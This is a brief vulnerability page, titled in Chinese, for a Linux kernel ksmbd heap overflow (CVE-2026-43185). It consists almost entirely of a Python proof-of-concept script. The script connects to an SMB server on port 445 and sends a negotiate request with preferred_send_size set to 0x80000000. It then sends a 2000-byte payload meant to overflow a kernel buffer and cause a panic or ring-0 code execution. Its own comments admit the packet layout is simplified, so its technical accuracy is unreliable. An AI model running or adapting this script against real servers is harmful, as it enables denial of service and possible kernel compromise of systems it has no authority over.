CVE-2026-43185 Linux内核ksmbd堆缓冲区溢出漏洞

/* * PoC Concept for CVE-2026-43185 * This script demonstrates the logic of the vulnerability by crafting * a malicious SMB negotiation request with a specific preferred_send_size. */ import socket import struct def send_malicious_smb_packet(target_ip, target_port=445): try: # Establish TCP connection to the target KSMBD server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # SMB Header (Simplified) smb_magic = b'\xFE\x53\x4D\x42' # Craft the Negotiate Protocol Request # The critical part is setting preferred_send_size to 0x80000000 # which becomes a large negative number when cast to signed int. # Structure simulation (Offset 0x24 is usually the MaxBufferSize/PreferredSize in SMB2) # We set the 4-byte value at the specific offset to 0x80000000 malicious_size = struct.pack('<I', 0x80000000) # Construct a minimal SMB2 NEGOTIATE request # Note: Actual SMB packet structure is more complex, this is a logical representation packet = smb_magic packet += b'\x00' * 0x20 # Padding to reach offset packet += malicious_size # The malicious value packet += b'\x00' * 100 # Padding to meet minimum size requirements # Send the first message (Negotiation) s.send(packet) print("[+] Sent malicious negotiation packet with preferred_send_size = 0x80000000") # Send the second message to trigger the overflow # The server expects a small buffer due to the int underflow/bug, # but we send a large payload. overflow_payload = b'A' * 2000 s.send(overflow_payload) print("[+] Sent overflow payload") # If successful, the target kernel may panic or execute code in ring0 s.close() except Exception as e: print(f"[-] Error: {e}") # Usage: send_malicious_smb_packet("<TARGET_IP>")